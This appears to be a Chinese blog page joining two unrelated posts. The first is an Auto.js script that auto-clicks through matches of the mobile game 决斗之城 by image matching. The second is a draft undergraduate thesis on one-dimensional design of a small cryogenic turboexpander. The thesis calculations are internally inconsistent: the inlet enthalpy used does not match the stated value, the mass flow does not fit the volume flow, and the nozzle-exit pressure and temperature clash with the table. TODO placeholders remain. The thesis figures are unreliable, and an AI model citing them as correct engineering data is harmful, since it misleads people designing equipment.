决斗之城 Android Auto.js 自动挂机

  • 游戏名:《决斗之城》(国内仿照《游戏王》做的一款游戏)
  • 包名: com.leocool.yugioh.ay

实现原理#

看见下面这几个图片则自动点击。

进入决斗
开始匹配
自动出牌
胜利计数
失败计数
升级返回
对局结束返回
掉线确定

脚本内容#

yugioh.jsview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
if (!requestScreenCapture(true)) {
toast("请求截图失败");
exit();
}

var btns = {
vs: images.read('/sdcard/auto-js-yugioh/vs.png'),
start: images.read('/sdcard/auto-js-yugioh/start.png'),
auto: images.read('/sdcard/auto-js-yugioh/auto.png'),
win: images.read('/sdcard/auto-js-yugioh/win.png'),
lose: images.read('/sdcard/auto-js-yugioh/lose.png'),
back2: images.read('/sdcard/auto-js-yugioh/back2.png'),
back: images.read('/sdcard/auto-js-yugioh/back.png'),
ok: images.read('/sdcard/auto-js-yugioh/ok.png'),
};

var counts = {
vs: 0,
start: 0,
auto: 0,
win: 0,
lose: 0,
back: 0,
back2: 0,
ok: 0,
};

var w = floaty.window(
<frame gravity="center">
<text id="text" textColor="white">悬浮文字</text>
</frame>
);
w.exitOnClose();
w.text.click(() => {
w.setAdjustEnabled(!w.isAdjustEnabled());
});

for (; ;) {
var img = captureScreen();
for (var i in btns) {
var p = findImage(img, btns[i], {});
if (p) {
click(p.x + btns[i].getWidth() / 2, p.y + btns[i].getHeight() / 2);
counts[i]++;
var str = 'WIN: ' + counts.win + '\n' + 'LOSE: ' + counts.lose;
ui.run(function () {
w.text.setText(str);
});
}
}
sleep(1500);
}

功能#

  • 自动开始对局
  • 切换成自动出牌模式
  • 胜利与失败计数

注意事项#

  • 只能在 1080p (1920x1080) 的屏幕上运行。
  • 只能在 Android 7.0 以上免 root 使用(较低版本的 Android 必须使用 root 权限打开)
  • 自己使用时需要下载上述几个图片,并且修改脚本中的文件路径。

相关链接#

小型高速透平膨胀机的设计与实验研究

这是我的本科生毕业设计。

您可以非商用地引用本文任何文字片段、图、表和计算程序,无需注明出处。请勿商业使用。

本文是工程类问题,虽然设计过程均参照参考书上的设计过程,但由于条件有限,所设计的任何成果均未经过验证,我不能保证实际工作效率达到标准、不能保证其任何数据的有效性。如果您参考本文的话,我不为文中任何的错误对您造成的损失负责,您有任何修改意见也可以联系我。

摘要#

在制冷和低温工程技术领域,透平膨胀机是极为重要的技术装备。它作为空分设备的核心部件,透平叶轮的设计关乎到整套设备的等熵效率以及制冷量。虽然近些年来数值模拟技术逐渐成熟,叶轮设计的方法逐渐引入了三维空间模拟技术,但传统透平膨胀机的一维设计依然具有重要的比重。本文使用一维设计方法设计透平膨胀机,在继承了传统透平膨胀机的一维设计理论的前提下,本文总结并编写出了一套自动热力计算程序,输入给定要求之后,程序会自动给出完整的计算过程和结果,随后直接根据这些热力计算结果、叶型数据、直接导入三维建模软件生成叶轮型线,极大提高工作效率,减少劳动强度。本文主要工作如下:

  1. 本文针对小型低温透平膨胀机的一维设计理论,编写了一套自动计算程序,可以对设计温度区间、压力区间可以实现输入进、出口压力温度,立刻自动进行一维热力计算,并完整呈现每一步的步骤和结果。程序预先编制了待计算区间的物性表,采用线性插值的方法估计压力、温度、密度、焓、熵、压缩因子,可以实现在百分之一以内的误差。

  2. 根据热力计算数据,设计膨胀机叶轮型线,使用径-轴流式叶轮,径流部分采用直叶片,轴流部分按出口相对流速与叶轮不同半径上圆周速度的匹配的方式确定出口角度,然后使用二次曲线过渡,设计出口导流段。最终使用 UG 导入计算的出的出口导流段型线,进行三维建模,给出三维叶轮设计结果。

  3. 随后将喷嘴、叶轮制造加工成实物,结合我们设计的实验平台,在给定进出口压力下测量叶轮降温曲线,降温到 100 K 大致需要 4 小时。在变工况实验中,我们改变进口压力,测量平衡时的流量和转速曲线,可以观察到随压力升高流量和转速都会提高,压力较高时流量变化较为缓慢。

关键词#

小型低温透平、一维热力计算、透平膨胀机、等熵膨胀、参数设计

ABSTRACT#

In the field of refrigeration and cryogenic engineering, turboexpanders are extremely important technical equipment. It is the core component of air separation equipment, and the design of the turbine is related to the isentropic efficiency and cooling capacity of the complete equipment. Although the numerical simulation technology has gradually improved in recent years, and the three-dimensional simulation technology are introduced to turbine designing, the one-dimensional design of the traditional turbo expander still has an important proportion. In this paper, the one-dimensional design method is used to design the turboexpander. Inherited the traditional one-dimensional design theory of the turboexpander, this paper summarizes and developed an automatic thermal calculation program. After inputting the given requirements, the program will complete the calculation process and display results automatically, and then the turbine profile can be generated based on these thermodynamic calculation results, turbine data, and directly import to 3D modeling software, which greatly improves working efficiency and reduces labor difficulty. The main work of this paper is as follows:

  1. This paper has written an automatic calculation program for the one-dimensional design theory of small-scale low-temperature turboexpander. It can analyse the input and outlet pressure temperature for the design temperature interval and pressure interval, and automatically perform one-dimensional thermal calculation immediately. Completely show the calculation method and results of each step. There are preset physical property table of the specific interval to be calculated, and uses linear interpolation method to estimate the pressure, temperature, density, enthalpy, entropy and compression factor, which can achieve the error within one percent.

  2. According to the thermal calculation data, design the expander impeller profile line. We use the centrifugal turbine. The inlet part adopts the straight blade. And the axial flow part matches of the relative flow velocity of the outlet and the circumferential speed of the different radius of the impeller. Then it’s designed using a quadratic transition. Finally, the UG is used to import the calculated outlet profile data, and then the impeller design result is given as a 3D model.

  3. Then the nozzle and impeller are manufactured. Combined with the experiment platform we designed, the impeller cooling curve is measured at a given inlet and outlet pressure. It takes about 4 hours to cool down to 100 K. During different working condition experiment, we changed the inlet pressure and measured the flow rate and rotation speed curve during the balance. It can found that the flow rate and rotation speed increase with the increase of the pressure, and the flow rate changes slowly when the pressure is high.

KEYWORDS#

Turbine for cryogenic; 1-d thermal design; Turboexpander; Isentropic expansion; Parameter design

绪论#

课题研究背景及意义#

绝热等熵膨胀是获得低温的重要途径之一,也是利用压差对外做功的一个重要的热力过程。对于这一重要的过程中,透平膨胀机是实现近似绝热等熵膨胀的一种高效的流体机械。目前,从民用的大型空调到低温科学中的低温风洞、空气分离、极低温氢、氦液化,透平膨胀机都是必不可少的核心装备。

膨胀机简介#

透平膨胀机(turboexpander),又称膨胀透平,是一种离心或轴流的叶轮机械。高压气体通过它时,气体产生膨胀对外做功,通常用来驱动压缩机或者发电机。

由于气体膨胀对外做功,气体在透平中近似经过一个等熵绝热过程,出口处的低压乏气将会有很低的温度。通常可能会有 120 K 甚至更低的温度(取决于工作压力和气体性质)。由于出口的温度较低,气体很可能出现带液现象。

透平膨胀机广泛用于作为工业生产中制冷的冷源,例如乙烷和天然气液化,空气液化以及空气低温分离(如氧、氮、氦、氩、氪),以及其他低温产业。

透平膨胀机目前的额定功率范围大致在 750 W 到 7.5 MW 之间(1 hp 到 10,000 hp)。

膨胀机的历史#

德国工程师 Carl Wilhelm Siemens 在 1857 年首次提出可以使用膨胀机械进行绝热过程(西门子循环)以达到低温目的。30 年之后,在 1885 年,比利时的 Ernest Solvay 尝试使用往复式膨胀机,但由于在这样的温度下机器的润滑问题,不能达到任何低于 -98 ℃ 的温度。

1902 年,法国工程师 Georges Claude 成功地使用往复式膨胀机液化空气。他使用脱脂、烧焦的皮革包装作为活塞密封件,没有使用任何润滑。在气压仅为 40 bar(4 MPa)的情况下,Claude 实现了近乎等熵膨胀,最终达到了比之前全部温度都低的温度。

第一台透平膨胀机可能是在大约 1934 年到 1935 年由一位在德国 Linde AG 旗下公司工作的意大利工程师 Guido Zerkowitz 设计的。

1939 年,俄罗斯物理学家 Pyotr Kapitsa 完善了离心式透平膨胀机的设计。他的第一个实用原型是由莫涅耳合金(Monel metal)制成,外径仅为 8 厘米(3.1英寸),以每分钟 40,000 转的速度运转,每小时对 1000 立方米的空气进行膨胀。它使用水泵作为制动器,效率为 79-83%。从那时起,大多数工业用透平膨胀机都是基于 Kapitsa 的设计,离心式透平膨胀机已经覆盖了几乎 100% 的工业气体液化和低温工艺要求。由于液态氧的使用,需要使用氧气的炼钢基本工艺被彻底改变。

1978年,Pyotr Kapitsa 因其在低温物理领域的工作而获得诺贝尔物理奖。

1983年,圣地亚哥天然气和电气公司率先在天然气减压站安装透平膨胀机以进行能源回收。

国内现状#

在我国建国以后,随着经济的发展,由于国家和市场的需求,透平膨胀机在低温装置中得到了广泛的应用。

1957 年首先在飞机空调装置中采用了向心径向冲动式透平膨胀机;1958 年又在高低压流程的 3350 空气分离装置中采用向心径流冲动式透平膨胀机。从 1960 年以后,我国有自行设计和试验了低压空分装置用的向心径流反动式透平膨胀机。1966 年以后,相机设计和制造了标态产氧量从 600 到 30000 m³/h 的各类全低压空分装置使用的低压空气透平膨胀机;标态产氧量为 150 和 300 m³/h 的中压空分装置用的中压空气透平膨胀机。在这同时,还发展了各种其他用途的透平膨胀机。其中有标态进气量达 180000 m³/h 的高空环境模拟装置用透平膨胀机,也有温度低达 15 K 的宇宙环境模拟装置用的氦气透平膨胀机,转速达 120000 r/min 的高能物理用大型氦气透平膨胀机,还有用于氢、天然气的液化以及回收能量的氢、天然气、油田气、化工为期、烟气、高炉气等透平膨胀机。此外还有低比焓降的空分-氮洗联合流程用大气量、低转速的透平膨胀机和高比焓降的中压氮液化装置用分两级膨胀的中压膨胀机。

为配合低温装置发展的需要,有关单位也开展了一系列的试验研究工作。在制造工艺方面,也先后试验成功了工作轮的精密浇铸成型、笔试工作轮的轮盖钎接工艺、工作轮的电火花加工成型、气体轴承的挤压成型等新工艺。

当然,我国的透平膨胀机技术与国际先进水平仍具有一定差距。随着科学技术的现代化,这些差距将会缩小,甚至赶超。

透平膨胀机#

透平膨胀机为低温技术领域的关键性技术,它是空气分离设备的核心部件。通常利用透平对气体的膨胀作用,制取冷量实现降温目的,通常透平膨胀机可以根据不同的进出口压力,达到 120 K 左右甚至更低的温度,进而达到天然气液化、空气液化、空气分离的效果。

透平膨胀机是速度型膨胀机。速度型是指其能量转换机制,气体以压差为动力,靠压差推动气体,使气体有较高流速,然后靠气体的速度推动叶轮旋转、做功,进而达到膨胀目的,同时产生冷量。速度型膨胀机不仅仅用于制冷低温方向,其他方向(例如火力发电等)中也会使用透平作为其核心能量转换部件,靠高压蒸汽推动叶轮旋转对外做功发电,只不过这时工作的温度是在高于环境温度,即使低压乏汽会比进口高压过热蒸汽的温度要低,但依然是高于环境温度。

热力过程#

我们知道,我们所使用的工质气体具有一定的参数,主要包括压力(压强)、密度、温度、焓、熵、内能等。如果进口提供的工质与环境的这些参数有差异,那么这部分差异即有可能被用来转换成人们可以使用的能力。比如热电偶现象就是利用温度的差异可以对外提供一个电势。而本文的主要内容——透平膨胀机,则是利用压差做功的机器。对于理想气体,通常都认为上述 6 个参数只有两个自变量。透平膨胀机通常被认为是一个等熵膨胀过程,在叶轮中高速流过的气流,通过叶轮时间极短,与叶轮壁面的热量交换极少,因此气体近似对外绝热。然后由于气体推动叶轮旋转对外做功,导致内能减少,进而引起压力下降,这就是透平膨胀机的主要过程。

透平膨胀机的结构#

透平膨胀机的关键部件是工作叶轮。透平这个词英文中叫 Turbine,音译过来是透平。另外有一种翻译叫涡轮,也是没有问题的。上述翻译都是比较抽象的,我个人比较欣赏的翻译是将其叫做叶轮机械。

透平,来源于拉丁文 turbo,turbo 的含义是涡流、涡旋,turbo 也与 turbulence(湍流)相关。透平是一种旋转的机械装置,它从一股流体中提取能量并将其转化为有用功。当与发电机组合时,涡轮机产生的功可用于产生电力。透平是一种至少拥有一个旋转的运动部件(即转子)的流体机械(turbomachine),该转子是一个附有叶片的轴或鼓(即叶轮)。运动的流体作用在叶片上,使得叶轮转动并将能量传递给转子。较早期的透平的例子就是风车和水轮。简而言之,用于功能转换的叶轮机械就是透平。

透平膨胀机中的关键部件就是透平,它是将气体的压差势能转化为功的地方,也是冷量产生的地方。除了透平以外,他还有其他多种部件。按照不同的功能可以先分成通流部分、制动器、机体三部分。通流部分,从进口开始,有蜗壳、喷嘴、工作轮(叶轮)、扩压器,最终到出口。机体部分包括主轴、内轴封、内轴承、外轴承、外轴封等等。制动器通常直接连在主轴上,可以是一个风机轮、发电机等等,这部分与透平膨胀机的关系不大。

透平膨胀机主机结构剖面图

表 TODO 透平膨胀机主要部件名称对照表

序号 部件名称
1 扩压器
2 蜗壳
3 工作轮
4 喷嘴
5 内轴封
6 内轴承
7 主轴
8 机壳
9 外轴承
10 外轴封
11 制动器

透平膨胀机的分类#

上述透平膨胀机的不同结构部件有不同种选择,我们可以把透平膨胀机按照不同依据分为多种类别。

表 TODO 透平膨胀机的分类依据及类别

分类依据 类别
反动度 $ \rho $ (工质在工作轮中膨胀的程度) 反动式透平膨胀机($ \rho > 0 $)、冲动式透平膨胀机($ \rho = 0 $)
工质在工作轮中的流动方向 径流式、径-轴流式、轴流式
工质膨胀过程中所处的状态 气相膨胀机、两相膨胀机
工作轮叶片两侧有无轮盘、轮盖 闭式工作轮(全有)、开式工作轮(全无)、半开式工作轮(无轮盖)
级数 单级透平膨胀机、多级透平膨胀机
制动方式 风机制动透平膨胀机、增压机制动透平膨胀机、电机制动透平膨胀机、油制动透平膨胀机、等等
轴承型式 油轴承透平膨胀机、气体轴承透平膨胀机、磁轴承透平膨胀机、等等

根据流体流动方向分类的不同种类的叶轮

a) 径流式 b) 径-轴流式 c) 轴流式

径-轴流式叶轮的不同轮盖轮背形式

a) 半开式 b) 闭式 c) 开式

某些场合,径流式和径-轴流式统称为径流式(centrifugal turbine)。需要注意的是,径流式透平膨胀机是径向进轴向出,而径流式的透平压缩机是轴向进径向出,二者恰好相反,一个膨胀气体,一个压缩气体。膨胀机径向进轴向出,高压气体由喷嘴从半径处向心流动,逐渐转向,同时推动叶轮,对外做功,出口乏气为低压低温气体。而压缩机轴向进径向出,叶轮高速旋转,迫使气体离心沿径向甩出叶轮,出口经扩压器将速度转化为压力,同时从进口处吸气,整体实现气体压缩的目的。

压缩机和膨胀机叶片形状区别

a) 压缩机 b) 膨胀机

本文主要工作及安排#

透平膨胀机为低温技术领域的关键性技术,它是低温的基本来源之一。透平膨胀机目前被广泛应用于空气分离配套产业、石油化工行业、天然气液化、低温粉碎设备等诸多行业。本文结合工程热力学和制冷低温技术原理提供一种满足给定要求的透平膨胀机的设计过程。最后配有自动计算程序,实现输入给定的进出口压力温度需求参数,直接得出完整计算过程,再根据给定参数进行叶轮设计的这一过程。

本文章节安排如下:

第 1 章:绪论。绪论中介绍了膨胀机的定义、作用,以及透平膨胀机的提出、发展历史等,不同种类的膨胀机的区别。之后结合国内发展现状,引出本文主要目标。

第 2 章:设计要求分析。分析设计要求,讨论可以实现的方法。确定大致设计方向,在给定前提下,要求选择制冷效果最好的方案,即等熵效率最高的情况。

第 3 章:热力计算与流道基本尺寸的确定。本部分根据一维设计理论,估取、选取了部分参数,根据给定要求参数进行查表算出喷嘴和工作轮中的热力过程和关键点物性参数,然后根据流量要求计算流道尺寸,最终得到喷嘴、工作轮的关键几何尺寸和角度。

第 4 章:计算叶轮参数。根据上一步计算的尺寸,进一步确定工作轮轴向长度、叶片厚度,同时确定工作轮子午面型线和出口导流段的叶片型线。并使用 UG 进行叶轮模型的构建。

第 5 章:实验平台搭建和初步实验研究。介绍了实验平台的气路系统、透平膨胀机低温制冷系统以及数据测量与采集系统。并进行了初步的实验研究,得到了设计叶轮的降温曲线。另外还进行了变工况实验,分析了进口压力对流量和转速的影响。

符号表#

符号#

符号 单位 说明
$ p $ $ Pa $ 气体压强
$ T $ $ K $ 气体温度
$ i $ $ J/kg $ 相对某一基准点的绝对比焓
$ h $ $ J/kg $ 两点之间的比焓降
$ c $ $ m/s $ 气流速度
$ u $ $ m/s $ 气流速度
$ q_m $ $ kg/s $ 气体质量流量
$ q_V $ $ m^3/s $ 气流体积流量

角标#

符号 说明
$ X_0 $ 膨胀机进口位置某参数
$ X_1 $ 工作轮进口位置某参数
$ X_2 $ 工作轮出口位置某参数
$ X_s $ 表示等熵过程的比焓降等过程量,或者经过等熵过程结束后的比焓等状态量
$ X_s $ satified 表示理想过程
$ X^\ast $ 临界状态某参数
$ X_u $ 表示某点速度的圆周分速度
$ X_r $ 表示某点速度的径向分速度
$ X_m $ mean 某参数的平均值
$ X_2’ $ 工作轮出口叶顶处某参数(外径处)
$ X_2m $ 工作轮出口平均半径处某参数
$ X_2’’ $ 工作轮出口叶根处某参数(内径处)

设计要求分析#

设计目标#

设计一个小型高速透平膨胀机满足以下工况

  • 工质:空气
  • 膨胀气量:$ 420 Nm^3/h $;
  • 膨胀机进口温度:$ 130 K $;
  • 膨胀机进口压力:$ 0.48 MPa $;
  • 膨胀机出口压力:$ 0.11 MPa $。

分析过程#

阅读这个题目,我们可以把这个题目理解为,设计一种装置,进口气体是 $ 130K $、$ 0.48MPa $,出口压力是接近大气压的 $ 0.11MPa $,并且必须有足够的通流能力,满足 $ 420Nm^3/h $ 的流量要求。

示意图

首先,最简单的方法就是直接把高低压相连,把高压气体直接通向低压大空间中,如果流量不满足要求的话,就调整管子的直径,总有一个合适的通流面积能满足这个要求。这种方案是肯定能满足给定要求的,但是其中存在诸多问题。第一个问题,直接连通高低压,中间的管子进口处高压向低压流动,流速也是增加的,顺压力梯度流动,这部分没有任何问题。但是出口处从管道向大空间流动,此时会产生大量的涡,浪费大量的能量,同时也会产生巨大的噪音。第二个问题,这个高压到低压的过程是蕴含大量的机械能(压差势能)的,这部分能量直接浪费掉是非常不经济的,同时也不符合节能环保的理念。第二个问题,也是最重要的方面,通常使用膨胀机的目的都是获得冷量,如果直接这样连通进出口,的确气体会有膨胀做功,但是相比以轴功率形式输出功,以机械做功的方式消耗气体的内能,这种直接膨胀获得的冷量简直太少了。这种直接的膨胀过程是压差转化为气体流速,快速流动的气体又通过摩擦的方式回到较低流速,相当于几乎完全浪费了这部分压差势能。综上所述,这种方案只是给我们一种思路,它仅仅只是一种假想的简单过程,我们必须对其加以改进。

高低压直接相连

改进的目标就是回收部分机械能。最简单的回收压差势能的方式就是简单的活塞机构。活塞吸气时,进气门打开,排气门关闭,从高压端吸气。当吸入一定量气体时(取决于进出口压力比),关闭进气门,活塞剩余的冲程为自由膨胀,由于气缸内是高压气体,气缸背压是低压端,此过程自发进行,向低压端膨胀,同时通过曲柄连杆机构对外做功。当活塞达到下止点时,按照之前的设计,此时气缸内的压力应该等于低压端压力,这时排气门打开,然后曲柄转回,带动活塞,向低压端近乎等压排气。在这样的设计下,理想情况下,气体近似做等熵膨胀,可以回收大量的功。我们可以利用这部分机械能做一些额外的事情,例如发电,或者对进口气体进行涡轮增压。并且,因为一部分内能转化为了机械功对外输出,这样更有利于产生冷量。

通过活塞膨胀机相连

既然活塞膨胀机可行,那么透平膨胀机应该也可行,并且透平膨胀机的很多地方要优于活塞式膨胀机。活塞膨胀机需要往复运动,噪音较大,而且工作不连续,易造成进、出口压力不稳定,压力波动容易给前后连接的器件带来一些周期性的损耗,加快设备老化。透平膨胀机通流能力大,易于小型化,连续工作,噪音相比之下较小。但透平膨胀机设计较为复杂,对实际工况要求较高,必须在设计工况附近工作。其实这个改进的目标也是我们使用透平膨胀机的目的,通常在低温工程应用中,使用透平膨胀机进行近似等熵膨胀,以达到较大的焓降,进而实现获取低温的目标工质气体。

通过透平膨胀机相连

本文的主要内容就是在符合题目要求条件之下,尽可能保证较大的焓降,尽可能提高等熵效率。

膨胀机的热力性能计算#

给定的参数及要求#

  • 工质:空气
  • 膨胀气量:$ 420 Nm^3/h $;
  • 膨胀机进口温度:$ 130 K $;
  • 膨胀机进口压力:$ 0.48 MPa $;
  • 膨胀机出口压力:$ 0.11 MPa $。

要求:用一元流动方法确定在设计工况下具有较高效率时,透平膨胀机流道的主要尺寸及其型式。

预计算#

简化假定#

在预计算时,由于很多参数还不知道,为了简化需要先做一些假定

  1. 不考虑进口蜗壳和出口扩压器的影响;
  2. 假定喷嘴和工作轮中的速度系数不变;
  3. 不考虑次要的流动损失,如喷嘴与工作轮之间的间隙的影响、过盖度的影响等。

有关参数的估取#

  1. 喷口出口角 $ \alpha_1 = 16^\circ $;
  2. 工作轮出口角 $ \beta_2 = 30^\circ 15’ $;
  3. 喷嘴中的速度系数 $ \phi = 0.96 $;
  4. 工作轮中的速度系数 $ \psi = 0.84 $;
  5. 工作轮叶高轮径比 $ l_1 / D_1 = 0.04 $;
  6. 工作轮相对轴向间隙 $ \delta / l_m = 0.017 $;
  7. 工作轮轮背摩擦系数 $ \zeta_f = 0.399 \times 10^-6 $;
  8. 工作轮型式:半开式径轴流叶轮
  9. 轮毂比 $ k_r = 0.225 $;
  10. 出口径向速度比 $ C_{2r} = 0.175 $;
  11. 出口减窄系数 $ \tau_2 = 0.965 $。

方案比较与最佳参数的估算#

根据上述所给定和估取的参数,采取下述几种方法估算透平膨胀机的基本参数。

  1. 最大流道效率法;
  2. 满足工作轮内加速运动的最小反动度法;
  3. 比转速法;
  4. 相似模化法。

方案 1 的计算结果见下表,这里对四个 $ \mu $ 值做了计算。

  • $ \psi^2 = 0.84^2 = 0.7056 $
  • $ \phi^2 = 0.96^2 = 0.9216 $
  • $ 1 - \phi^2 = 1 - 0.9216 = 0.0784 $
  • $ \cos \beta_2 = \cos 30^\circ 15’ = 0.8638 $
  • $ \cos^2 \beta_2 = 0.8638^2 = 0.7462 $
  • $ \cos \alpha_1 = \cos 16^\circ = 0.9613 $
  • $ \cos^2 \alpha_1 = 0.9613^2 = 0.9240 $
  • $ (1 - \phi^2) \times (1 - \cos^2 \beta_2\psi^2) = 0.0784 \times (1 - 0.7462 \times 0.7056) = 0.03712 $
  • $ \cos^2 \alpha_1\phi^2 = 0.9240 \times 0.9216 = 0.8516 $
  • // TODO

计算结果中的 $ \eta_u, \eta_s, \bar{u}_1 $ 及 $ \rho $ 与 $ u $ 的关系提供在下图中。

按最大流道效率法求最佳轮径比

从图中可以看出:流道效率 $ \eta_u $ 在轮径比 $ \mu $ 很大的范围内,是随着 $ \mu $ 的下降而增大的。这是因为轮周功中 $ \frac{1}{2} (u_1^2 - u_2^2) = \frac{u_1^2}{2} (1 - \mu^2) $ 这一项有显著的影响;

热力计算与流道基本尺寸的确定#

已知条件#

  • 工质:空气
    • 气体常数:$ R_g = 287.2 N \cdot m/(kg \cdot K) $
    • 等熵指数:$ \kappa = 1.4 $
    • 相对分子质量:$ M_r = 28.96 $
  • 膨胀气体量:$ q_V = 420 Nm^3/h $
  • 膨胀气体量:$ q_m = q_V / v = 2.52 kg/s $
  • 进口压力:$ p_0 = 0.48 MPa $
  • 进口温度:$ T_0 = 130 K $
  • 出口压力:$ p_2 = 0.11 MPa $

估取及选用值#

估取#
  • 喷嘴中的速度系数 $ \varphi = 0.96 $
  • 工作轮中的速度系数 $ \psi = 0.84 $
  • 工作轮叶高轮径比 $ l_1 / D_1 = 0.04 $
  • 工作轮相对轴向间隙 $ \delta / l_m = 0.017 $
  • 喷嘴出口减窄系数 $ \tau_N = 0.98 $
  • 工作轮进口减窄系数 $ \tau_1 = 0.965 $
  • 工作轮出口减窄系数 $ \tau_2 = 0.775 $
选定#
  • 喷嘴出口叶片角 $ \alpha_1’ = 16^\circ $
  • 工作轮进口叶片角 $ \beta_1’ = 90^\circ $
  • 工作轮出口叶片角 $ \beta_2’ = 30^\circ15’ $
选取#
  • 轮径比 $ \mu = 0.498 $
  • 反动度 $ \rho = 0.49 $
  • 特性比 $ \bar{u}_1 = 0.66 $
估取扩压比#

$ p_2 / p_3 = 1.04 $,因而 $ p_3 = p_2 / 1.04 = 0.11 MPa / 1.04 = 0.10577 MPa $

喷嘴中的流动#

  1. 由 $ p_0, T_0 $ 及 $ p_2, p_3 $ 从 i-s 图中可查得

    • 进口比焓 $ i_0 = 124.82 kJ/kg $
    • 膨胀机出口理想比焓 $ i_{2s} = 81.997 kJ/kg $
    • 工作轮出口理想比焓 $ i_{2s}’ = 81.081 kJ/kg $
    • 膨胀机总的理想比焓降 $ h_s = i_0 - i_{2s} = 130.20 - 85.499 = 44.701 kJ/kg $
    • 通流出口理想比焓降 $ h_s’ = i_0 - i_{2s} = 130.20 - 84.546 = 45.654 kJ/kg $
  2. 等焓理想速度 $ c_s = \sqrt{2 h_s’} = \sqrt{2 \times 44701} = 302.17 m/s $

  3. 由 $ p_0, T_0 $ 从 Z-p 图上查得 $ Z_0 = 0.95344 $

  4. 喷嘴中等熵比焓降 $ h_{1s} = (1 - \rho) h_s’ = 23.283 kJ/kg $

  5. 喷嘴出口实际速度 $ c_1 = \varphi \sqrt{2 h_{1s}} = 207.16 m/s $

  6. 喷嘴出口理想比焓 $ i_{1s} = i_0 - h_{1s} = 101.54 kJ/kg $

  7. 喷嘴出口实际比焓 $ i_{1} = i_0 - \varphi^2 h_{1s} = 103.36 kJ/kg $

  8. 由 $ p_0, T_0 $ 及 $ i_{1s} $ 从 i-s 图可查得 $ p_1 = 0.27886 MPa $

  9. 由 $ p_1, i_1 $ 从 i-s 图可查得 $ T_1 = 112.65 K $

  10. 由 $ p_1, T_1 $ 从 Z-p 图可查得 $ Z_1 = 0.95881 $

  11. 喷嘴出口气体密度 $ \rho_1 = \frac {p_1} {Z_1 R_g T_1} = 8.9896 kg/m^3 $

  12. 多变指数 $ n = \frac {\kappa} {\kappa - \varphi (\kappa - 1)} = 1.3574 $

  13. 喷嘴出口喉部界面速度 $ c^\ast = \sqrt {2 Z_0 R_g T_0 \frac {\kappa} {\kappa - 1} \frac {n - 1} {n + 1}} = 194.37 m/s $

  14. 由于 $ c_1 > c^\ast $,采用收缩喷嘴时,气流在斜切口有偏转角,

    $$ \frac {\sin (\alpha_1’ + \delta)} {\sin (\alpha_1’)} = \frac {(\frac {2} {n + 1}) ^ {\frac {1} {n - 1}} \sqrt {\frac {n - 1} {n + 1}}} {(\frac {p_1} {p_0}) ^ {\frac {1} {n}} \sqrt {1 - (\frac {p} {p_0}) ^ {\frac {n - 1} {n}}}} = 1.00465 $$

    $ \sin (\alpha_1’ + \delta) = 1.00465 \sin (\alpha_1’) = 0.27692 $

    $ \alpha_1 = \alpha_1’ + \delta = 16.076 ^\circ $

    $ \delta = 0.07649 ^\circ = 4.58973 ‘ $

    一般希望 $ \delta < 2^\circ \sim 3^\circ $

  15. 喷嘴出口状态下的声速 $ c_1’ = \sqrt{n Z_1 R T_1} = 205.202 m/s $

    比较第 5、13、15 三项可知 $ c_1 > c_1’ > c^\ast $ 说明在喷嘴喉部截面之前已经达到声速

  16. 喷嘴出口绝对速度马赫数 $ {Ma}_{c1} = \frac {c_1} {c_1’} = 1.00954 $

    一般在 $ {Ma}_{c1} < 1.1 \sim 1.2 $ 时仍可采用收缩喷嘴

  17. 喷嘴中的能量损失 $ q_N = (1 - \varphi ^ 2) h_{1s} = 1.82542 kJ/kg $

  18. 喷嘴中的相对能量损失 $ \xi_N = \frac {q_N} {h_s’} = 0.03998 $

  19. 喉部气体密度 $ \rho^\ast = \frac {2} {n + 1} ^ \frac {1} {n - 1} \rho_0 = \frac {2} {n + 1} ^ \frac {1} {n - 1} \frac {p_0} {Z_0 R_g T_0} = 8.51208 kg/m^3 $

i-s、Z-p 表

状态点 温度 (K) 压力 (MPa) 密度 ($ kg/m^3 $) 焓 (kJ/kg) 熵 ($ kJ/(kg \cdot K) $) 压缩因子
喷嘴进口设定状态 130.00 0.48000 13.488 124.82 5.5551 0.95344
扩压器出口理想状态 84.692 0.11000 4.6980 81.994 5.5551 0.96289
工作轮出口理想状态 83.736 0.10577 4.5678 81.081 5.5551 0.96313
喷嘴出口理想状态 105.26 0.23268 8.0363 101.54 5.5551 0.95805
喷嘴出口实际状态 106.96 0.23268 7.8917 103.36 5.5723 0.96005

i-s 图

Z-p 图

工作轮中的流动#

  1. 轮周速度 $$ u_1 = \bar{u}_1 c_s = 195.48 m/s $$

  2. 出口圆周速度 $$ u_{2m} = \mu u_1 = 97.347 m/s $$

  3. 工作轮进口气流角

    $$ \tan {\beta_1} = \frac {\sin {\alpha_1}} {\cos {\alpha_1} - \frac {u_1} {c_1}} = -180.84 $$

    $$ \beta_1 = 180 ^\circ - 89.628 ^\circ = 90.317 ^\circ $$

  4. 进工作轮相对速度 $$ w_1 = \frac {c_1 \sin {\alpha_1}} {\sin {\beta_1}} = 56.037 m/s $$

  5. 进工作轮相对速度的圆周分速度 $$ w_{1u} = c_1 \cos{\alpha_1} - u_1 = -0.30986 m/s $$

  6. 进工作轮相对速度的径向分速度 $$ w_{1r} = c_1 \sin{\beta_1} = 56.036 m/s $$

  7. 进工作轮处相对速度的马赫数 $$ {Ma}_{w_1} = \frac {w_1} {c_1’} = 0.27895 $$ 一般希望 $ {Ma}_{w_1} < 0.5 $,以免过大的进口损失。

  8. 工作轮进口冲击损失 $$ q_{w_{1u}} = \frac {w_{1u}^2} {2} = 0.048006 J/kg $$ 可忽略不计。

  9. 工作轮进口比焓 $$ i_1’ = i_1 + q_{w_{1u}} = 10.421 kJ/kg $$ 由于冲击损失很像,工作轮进口状态可以认为与喷嘴出口状态相同。

  10. 由 $ p_1, i_1 $ 及 $ p_3 $ 从 i-s 图可查得工作轮出口等熵比焓 $$ i_{2s}’’ = 82.186 kJ/kg $$

  11. 工作轮等熵比焓降 $$ h_{2s} = i_1 - i_{2s}’’ = 22.023 kJ/kg $$

  12. 不考虑内部损失时,工作轮出口理想相对速度 $$ w_{2s} = \sqrt {2 h_{2s} + w_{1 \tau}^2 + u_{2m}^2 - u_1^2} = 135.84 m/s $$

  13. 实际相对速度 $$ w_2 = \psi w_{2s} = 114.10 m/s $$

  14. 工作轮中的能量损失 $$ q_r = \frac{1}{2} (w_{2s}^2 - w_2^2) = 2.716 kJ/kg $$

    $$ \xi_r = \frac {q_r} {h_s’} = 0.061924 $$

